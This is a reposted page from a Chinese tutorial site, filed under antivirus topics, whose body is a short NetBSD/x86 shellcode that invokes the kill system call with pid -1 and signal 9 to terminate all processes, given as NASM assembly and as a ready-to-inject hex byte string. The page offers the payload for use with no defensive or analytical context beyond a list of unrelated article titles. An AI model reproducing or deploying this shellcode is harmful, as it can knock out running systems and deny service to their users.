当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > 杀掉进程的shellcode(netbsd/x86)

杀毒防毒
2008年春节病毒防范指南
你知道什么是CIH病毒
清除CIH病毒方法
funlove病毒解决方案
电脑病毒的防范和应对措施
金山毒霸2008升级出现误报的解决方案
可执行文件被病毒感染后图标模糊的原因
电脑病毒的起源和发展
卡巴斯基的扫描功能相关问题解析
卡巴斯基发布中国地区2008年二十大恶意软件排行榜
卡巴斯基通过2008软件认证
世界之窗对卡巴斯基表示愤慨
游戏木马和代理木马传播迅速
保护IE,防止恶意修改和攻击
机器中毒后的一些紧急处理措施
磁碟机木马(dummycom)的查杀方法
瑞星杀毒软件全面防御和查杀“磁碟机”病毒
手机病毒的工作原理和危害
磁碟机和熊猫烧香病毒到底哪个更毒?
格式化硬盘都不行时该如何杀毒呢?

杀毒防毒 中的 杀掉进程的shellcode(netbsd/x86)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 49 ::
收藏到网摘: n/a

  /*

  netbsd/x86 kill all processes shellcode

  author Teo Manojlovic

  contact [email protected]

  this shellcode is using syscall number 37 or 0x25

  37 STD { int sys_kill(int pid, int signum); }

  here is assembler code using intel syntaxe and NASM

  --------------begin-----------

  section .note.netbsd.ident

  dd0x07,0x04,0x01

  db"NetBSD",0x00,0x00

  dd200000000

  section .data

  section .text

  global _start

  _start:

  xor eax, eax

  push 0x09

  mov eax, -1

  push eax

  xor eax,eax

  mov al, 37

  push eax

  int 0x80

  -------------------------end------------

  if we dissasemble this code wi will get shellcode

  "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"

  */